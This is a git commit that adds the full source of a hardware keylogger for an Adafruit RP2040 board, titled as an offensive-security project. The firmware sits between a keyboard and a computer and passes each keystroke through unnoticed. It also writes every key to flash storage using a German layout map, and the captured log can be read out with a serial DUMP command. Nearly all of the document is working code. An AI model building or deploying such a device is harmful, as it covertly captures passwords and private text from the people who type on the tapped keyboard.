commit e0d0540b1d6c2be50fd39fd9530abf991e714f2d Author: David H Date: Sat May 30 16:51:52 2026 +0200 first commit diff --git a/README.md b/README.md new file mode 100644 index 0000000..e69de29 diff --git a/key_map.h b/key_map.h new file mode 100644 index 0000000..c2872a9 --- /dev/null +++ b/key_map.h @@ -0,0 +1,143 @@ +/* This file contains a Keymap for German Layout and yep i did it mostly by hand bcs ai could just not do it*/ + +// Missing Key may be adding in future +// #' +// <> +// STRG +// FN +// MENU + +const char* keycodeToAscii(uint8_t keycode, bool shift, bool altGr) { + + if (altGr) { + switch (keycode) { + case 0x14: return "@"; + case 0x1E: return "¹"; + case 0x1F: return "²"; + case 0x20: return "³"; + case 0x21: return "¼"; + case 0x22: return "½"; + case 0x23: return "¬"; + case 0x24: return "{"; + case 0x25: return "["; + case 0x26: return "]"; + case 0x27: return "}"; + case 0x2D: return "\\"; + case 0x2E: return "~"; + case 0x2F: return "["; + case 0x30: return "~"; + case 0x31: return "|"; + case 0x35: return "|"; + case 0x08: return "€"; + + default: break; + } + } + + switch (keycode) { + + case 0x04: return shift ? "A" : "a"; + case 0x05: return shift ? "B" : "b"; + case 0x06: return shift ? "C" : "c"; + case 0x07: return shift ? "D" : "d"; + case 0x08: return shift ? "E" : "e"; + case 0x09: return shift ? "F" : "f"; + case 0x0A: return shift ? "G" : "g"; + case 0x0B: return shift ? "H" : "h"; + case 0x0C: return shift ? "I" : "i"; + case 0x0D: return shift ? "J" : "j"; + case 0x0E: return shift ? "K" : "k"; + case 0x0F: return shift ? "L" : "l"; + case 0x10: return shift ? "M" : "m"; + case 0x11: return shift ? "N" : "n"; + case 0x12: return shift ? "O" : "o"; + case 0x13: return shift ? "P" : "p"; + case 0x14: return shift ? "Q" : "q"; + case 0x15: return shift ? "R" : "r"; + case 0x16: return shift ? "S" : "s"; + case 0x17: return shift ? "T" : "t"; + case 0x18: return shift ? "U" : "u"; + case 0x19: return shift ? "V" : "v"; + case 0x1A: return shift ? "W" : "w"; + case 0x1B: return shift ? "X" : "x"; + case 0x1C: return shift ? "Z" : "z"; + case 0x1D: return shift ? "Y" : "y"; + + case 0x1E: return shift ? "!" : "1"; + case 0x1F: return shift ? "\"" : "2"; + case 0x20: return shift ? "§" : "3"; + case 0x21: return shift ? "$" : "4"; + case 0x22: return shift ? "%" : "5"; + case 0x23: return shift ? "&" : "6"; + case 0x24: return shift ? "/" : "7"; + case 0x25: return shift ? "(" : "8"; + case 0x26: return shift ? ")" : "9"; + case 0x27: return shift ? "=" : "0"; + case 0x2D: return shift ? "?" : "ß"; + case 0x2E: return shift ? "`" : "´"; + case 0x2F: return shift ? "Ü" : "ü"; + case 0x30: return shift ? "*" : "+"; + case 0x31: return shift ? "'" : "#"; + case 0x33: return shift ? "Ö" : "ö"; + + case 0x28: return "[ENTER]"; + case 0x29: return "[ESC]"; + case 0x2A: return "[BACKSPACE]"; + case 0x2B: return "[TAB]"; + case 0x2C: return "[SPACE]"; + + case 0x34: return shift ? "Ä" : "ä"; + case 0x35: return shift ? "°" : "^"; + case 0x36: return shift ? ";" : ","; + case 0x37: return shift ? ":" : "."; + case 0x38: return shift ? "_" : "-"; + + case 0x3A: return "[F1]"; + case 0x3B: return "[F2]"; + case 0x3C: return "[F3]"; + case 0x3D: return "[F4]"; + case 0x3E: return "[F5]"; + case 0x3F: return "[F6]"; + case 0x40: return "[F7]"; + case 0x41: return "[F8]"; + case 0x42: return "[F9]"; + case 0x43: return "[F10]"; + case 0x44: return "[F11]"; + case 0x45: return "[F12]"; + + case 0x39: return "[CAPS_LOCK]"; + case 0x46: return "[DRUCK]"; + case 0x47: return "[SCROLL_LOCK]"; + case 0x48: return "[PAUSE]"; + + case 0x49: return "[INSERT]"; + case 0x4A: return "[HOME]"; + case 0x4B: return "[PAGE_UP]"; + case 0x4C: return "[DELETE]"; + case 0x4D: return "[END]"; + case 0x4E: return "[PAGE_DOWN]"; + case 0x4F: return "[RIGHT]"; + case 0x50: return "[LEFT]"; + case 0x51: return "[DOWN]"; + case 0x52: return "[UP]"; + + case 0x59: return "1"; + case 0x5A: return "2"; + case 0x5B: return "3"; + case 0x5C: return "4"; + case 0x5D: return "5"; + case 0x5E: return "6"; + case 0x5F: return "7"; + case 0x60: return "8"; + case 0x61: return "9"; + case 0x62: return "0"; + case 0x63: return ","; + case 0x57: return "*"; + case 0x58: return "+"; + case 0x65: return "-"; + case 0x66: return "/"; + case 0x67: return "[ENTER]"; + + default: return nullptr; + } +} \ No newline at end of file diff --git a/keylogger.ino b/keylogger.ino new file mode 100644 index 0000000..d07de6f --- /dev/null +++ b/keylogger.ino @@ -0,0 +1,309 @@ +/****************************************************************************** + * Project : Offensive Sicherheit - Keylogger + * File : + * + * Description : + * --------------------------------------------------------------------------- + * This Project contains an implementation for a Adafruit RP2040 Feather with USB HOST to turn it into a Keylogger. + * + * Author : David Heunisch + * Created : 18.05.26 + * Last Updated : 30.05.26 + * Version : <1.0.0> + * + * Dependencies : + * - usbh_helper.h + * - usbh_helper.h + * - LittleFS.h + * - string.h + * + * Usage : + * --------------------------------------------------------------------------- + * Using Arduino IDE v2 it can be uploaded to an RP2040 with USB Host. Once installed MitM the Keyboard and start typing. + * The serial Commands: DUMP / CLEAR can be used to read and clear the file! + * + * Notes : + * --------------------------------------------------------------------------- + * Important Settings for Arduino IDE + * - Board Manager: Raspberry Pi Pico/PR2040/RP2350 by Earle F. Philhower, III (5.6.0) + * - Libs: Adafruit Neopixel (1.15.5) | Adafruit SPI Flash (5.1.1) | Adafruit TinyUSB Library (3.7.7) | MIDI Library (3.7.7) | PICO PIO USB (0.7.2) | SdFAT - Adafruit Fork (2.3.103) + * - Port: js do it right + * - CPU Speed: 120Hz / 240Hz or some other by 12 div number + * - Flash Size: give Little FS some space i did 3MB + * - USB Stack: Adafruit TinyUSB + * + * License : + * --------------------------------------------------------------------------- + * MIT License + * + * Copyright (c) 2026 David Heunisch + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + ******************************************************************************/ + +#include "usbh_helper.h" +#include "key_map.h" +#include +#include + +#if defined(ARDUINO_ARCH_RP2040) + #include "pico/stdlib.h" +#endif + +uint8_t const desc_hid_report[] = { + TUD_HID_REPORT_DESC_KEYBOARD() +}; + +Adafruit_USBD_HID usb_hid(desc_hid_report, sizeof(desc_hid_report), + HID_ITF_PROTOCOL_KEYBOARD, 2, false); + +bool fs_ok = false; +char serial_buf[32]; +uint8_t serial_pos = 0; + +// RAM buffer for keystrokes before writing to flash +char key_buffer[256]; +uint16_t key_buf_pos = 0; +const uint16_t BUFFER_SIZE = 256; + +uint8_t prev_keys[6] = {0, 0, 0, 0, 0, 0}; + +void flushBufferToFile() { + if (!fs_ok || key_buf_pos == 0) return; + + File f = LittleFS.open("/keylog.txt", "a"); + if (!f) { + key_buf_pos = 0; + return; + } + f.write((uint8_t*)key_buffer, key_buf_pos); + f.close(); + key_buf_pos = 0; +} + +void appendLog(const char* s) { + if (!fs_ok) return; + + // Add key to RAM buffer + while (key_buf_pos < BUFFER_SIZE - 1) { + key_buffer[key_buf_pos++] = *s++; + if (*s == 0) break; // end of string + } + + // Flush if buffer is nearly full + if (key_buf_pos >= BUFFER_SIZE - 10) { + flushBufferToFile(); + } +} + +void dumpLog() { + flushBufferToFile(); // Make sure buffer is written first + if (!fs_ok) { + Serial.println("LittleFS not mounted"); + return; + } + File f = LittleFS.open("/keylog.txt", "r"); + if (!f) { + Serial.println("Cannot open /keylog.txt"); + return; + } + Serial.println("=== Key Log Start ==="); + while (f.available()) { + Serial.write(f.read()); + } + Serial.println(); + Serial.println("=== End of Log ==="); + f.close(); +} + +void handleSerial() { + while (Serial.available()) { + char c = Serial.read(); + if (c == '\r' || c == '\n') { + serial_buf[serial_pos] = 0; + if (serial_pos > 0) { + if (!strcmp(serial_buf, "DUMP")) { + dumpLog(); + } else if (!strcmp(serial_buf, "CLEAR")) { + flushBufferToFile(); + if (fs_ok) { + LittleFS.remove("/keylog.txt"); + File f = LittleFS.open("/keylog.txt", "w"); + if (f) { + f.println("Key log started"); + f.close(); + } + Serial.println("Log cleared"); + } + } else { + Serial.println("Commands: DUMP, CLEAR"); + } + } + serial_pos = 0; + } else if (serial_pos < sizeof(serial_buf) - 1) { + serial_buf[serial_pos++] = c; + } + } +} + +void forwardAndLog(hid_keyboard_report_t const* rpt) { + bool shift = (rpt->modifier & (KEYBOARD_MODIFIER_LEFTSHIFT | KEYBOARD_MODIFIER_RIGHTSHIFT)) != 0; + bool altGr = (rpt->modifier & KEYBOARD_MODIFIER_RIGHTALT) != 0; + + for (uint8_t i = 0; i < 6; i++) { + uint8_t kc = rpt->keycode[i]; + if (!kc) continue; + + + bool already_pressed = false; + for (uint8_t j = 0; j < 6; j++) { + if (prev_keys[j] == kc) { + already_pressed = true; + break; + } + } + if (already_pressed) continue; + + const char* s = keycodeToAscii(kc, shift, altGr); + if (s) { + + /*Debug Stuff*/ + // Serial.print("Key: "); + // Serial.print(s); + // Serial.print(" (0x"); + // if (kc < 0x10) Serial.print('0'); + // Serial.print(kc, HEX); + // Serial.println(")"); + + appendLog(s); + } + } + + + for (uint8_t i = 0; i < 6; i++) { + prev_keys[i] = rpt->keycode[i]; + } + + + while (!usb_hid.ready()) { + yield(); + } + usb_hid.sendReport(0, rpt, sizeof(hid_keyboard_report_t)); +} + +void setup() { + Serial.begin(115200); + delay(200); + + memset(prev_keys, 0, 6); + memset(key_buffer, 0, BUFFER_SIZE); + + fs_ok = LittleFS.begin(); + if (!fs_ok) { + Serial.println("LittleFS mount failed"); + } else { + if (!LittleFS.exists("/keylog.txt")) { + File f = LittleFS.open("/keylog.txt", "w"); + if (f) { + f.println("--- START OF LOG ---"); + f.close(); + } + } + Serial.println("LittleFS mounted"); + } + + usb_hid.begin(); + +#if defined(CFG_TUH_MAX3421) && CFG_TUH_MAX3421 + USBHost.begin(1); +#endif + + Serial.println("Ready. Type DUMP or CLEAR in Serial Monitor."); +} + +#if defined(CFG_TUH_MAX3421) && CFG_TUH_MAX3421 +void loop() { + USBHost.task(); + handleSerial(); + // Flush buffer every 2 seconds if not full + static unsigned long last_flush = 0; + if (millis() - last_flush > 2000) { + flushBufferToFile(); + last_flush = millis(); + } +} +#elif defined(ARDUINO_ARCH_RP2040) +void loop() { + handleSerial(); + static unsigned long last_flush = 0; + if (millis() - last_flush > 2000) { + flushBufferToFile(); + last_flush = millis(); + } +} + +void setup1() { + rp2040_configure_pio_usb(); + USBHost.begin(1); +} + +void loop1() { + USBHost.task(); +} +#endif + +extern "C" { + +void tuh_hid_mount_cb(uint8_t dev_addr, uint8_t instance, + uint8_t const *desc_report, uint16_t desc_len) { + (void)desc_report; + (void)desc_len; + + uint16_t vid, pid; + tuh_vid_pid_get(dev_addr, &vid, &pid); + + Serial.printf("HID device address = %d, instance = %d mounted\r\n", dev_addr, instance); + Serial.printf("VID = %04x, PID = %04x\r\n", vid, pid); + + if (tuh_hid_interface_protocol(dev_addr, instance) == HID_ITF_PROTOCOL_KEYBOARD) { + Serial.println("HID Keyboard"); + if (!tuh_hid_receive_report(dev_addr, instance)) { + Serial.println("Error: cannot request first report"); + } + } +} + +void tuh_hid_umount_cb(uint8_t dev_addr, uint8_t instance) { + Serial.printf("HID device address = %d, instance = %d unmounted\r\n", dev_addr, instance); +} + +void tuh_hid_report_received_cb(uint8_t dev_addr, uint8_t instance, + uint8_t const *report, uint16_t len) { + if (len == sizeof(hid_keyboard_report_t)) { + forwardAndLog((hid_keyboard_report_t const*)report); + } else { + Serial.printf("report len = %u, expected %u\r\n", len, (unsigned)sizeof(hid_keyboard_report_t)); + } + + if (!tuh_hid_receive_report(dev_addr, instance)) { + Serial.println("Error: cannot request next report"); + } +} + +} \ No newline at end of file diff --git a/usbh_helper.h b/usbh_helper.h new file mode 100644 index 0000000..29c1a6a --- /dev/null +++ b/usbh_helper.h @@ -0,0 +1,99 @@ +/********************************************************************* + Adafruit invests time and resources providing this open source code, + please support Adafruit and open-source hardware by purchasing + products from Adafruit! + + MIT license, check LICENSE for more information + Copyright (c) 2019 Ha Thach for Adafruit Industries + All text above, and the splash screen below must be included in + any redistribution +*********************************************************************/ + +#ifndef USBH_HELPER_H +#define USBH_HELPER_H + +#ifdef ARDUINO_ARCH_RP2040 + // pio-usb is required for rp2040 host + #include "pio_usb.h" + + // Pin D+ for host, D- = D+ + 1 + #ifndef PIN_USB_HOST_DP + #define PIN_USB_HOST_DP 16 + #endif + + // Pin for enabling Host VBUS. comment out if not used + #ifndef PIN_5V_EN + #define PIN_5V_EN 18 + #endif + + #ifndef PIN_5V_EN_STATE + #define PIN_5V_EN_STATE 1 + #endif +#endif // ARDUINO_ARCH_RP2040 + +#include "Adafruit_TinyUSB.h" + +#if defined(CFG_TUH_MAX3421) && CFG_TUH_MAX3421 + // USB Host using MAX3421E: SPI, CS, INT + #include "SPI.h" + + #if defined(ARDUINO_METRO_ESP32S2) + Adafruit_USBH_Host USBHost(&SPI, 15, 14); + #elif defined(ARDUINO_ADAFRUIT_FEATHER_ESP32_V2) + Adafruit_USBH_Host USBHost(&SPI, 33, 15); + #else + // Default CS and INT are pin 10, 9 + Adafruit_USBH_Host USBHost(&SPI, 10, 9); + #endif +#else + // Native USB Host such as rp2040 + Adafruit_USBH_Host USBHost; +#endif + +//--------------------------------------------------------------------+ +// Helper Functions +//--------------------------------------------------------------------+ + +#ifdef ARDUINO_ARCH_RP2040 +static void rp2040_configure_pio_usb(void) { + //while ( !Serial ) delay(10); // wait for native usb + Serial.println("Core1 setup to run TinyUSB host with pio-usb"); + + // Check for CPU frequency, must be multiple of 12 Mhz for bit-banging USB + uint32_t cpu_hz = clock_get_hz(clk_sys); + if (cpu_hz % 12000000UL) { + while (!Serial) { + delay(10); // wait for native usb + } + Serial.printf("Error: CPU Clock = %lu, PIO USB require CPU clock must be multiple of 12 Mhz\r\n", cpu_hz); + Serial.printf("Change your CPU Clock to 12*n Mhz in Menu->CPU Speed \r\n"); + while (1) { + delay(1); + } + } + +#ifdef PIN_5V_EN + pinMode(PIN_5V_EN, OUTPUT); + digitalWrite(PIN_5V_EN, PIN_5V_EN_STATE); +#endif + + pio_usb_configuration_t pio_cfg = PIO_USB_DEFAULT_CONFIG; + pio_cfg.pin_dp = PIN_USB_HOST_DP; + +#if defined(ARDUINO_RASPBERRY_PI_PICO_W) + // For pico-w, PIO is also used to communicate with cyw43 + // Therefore we need to alternate the pio-usb configuration + // details https://github.com/sekigon-gonnoc/Pico-PIO-USB/issues/46 + pio_cfg.sm_tx = 3; + pio_cfg.sm_rx = 2; + pio_cfg.sm_eop = 3; + pio_cfg.pio_rx_num = 0; + pio_cfg.pio_tx_num = 1; + pio_cfg.tx_ch = 9; +#endif + + USBHost.configure_pio_usb(1, &pio_cfg); +} +#endif + +#endif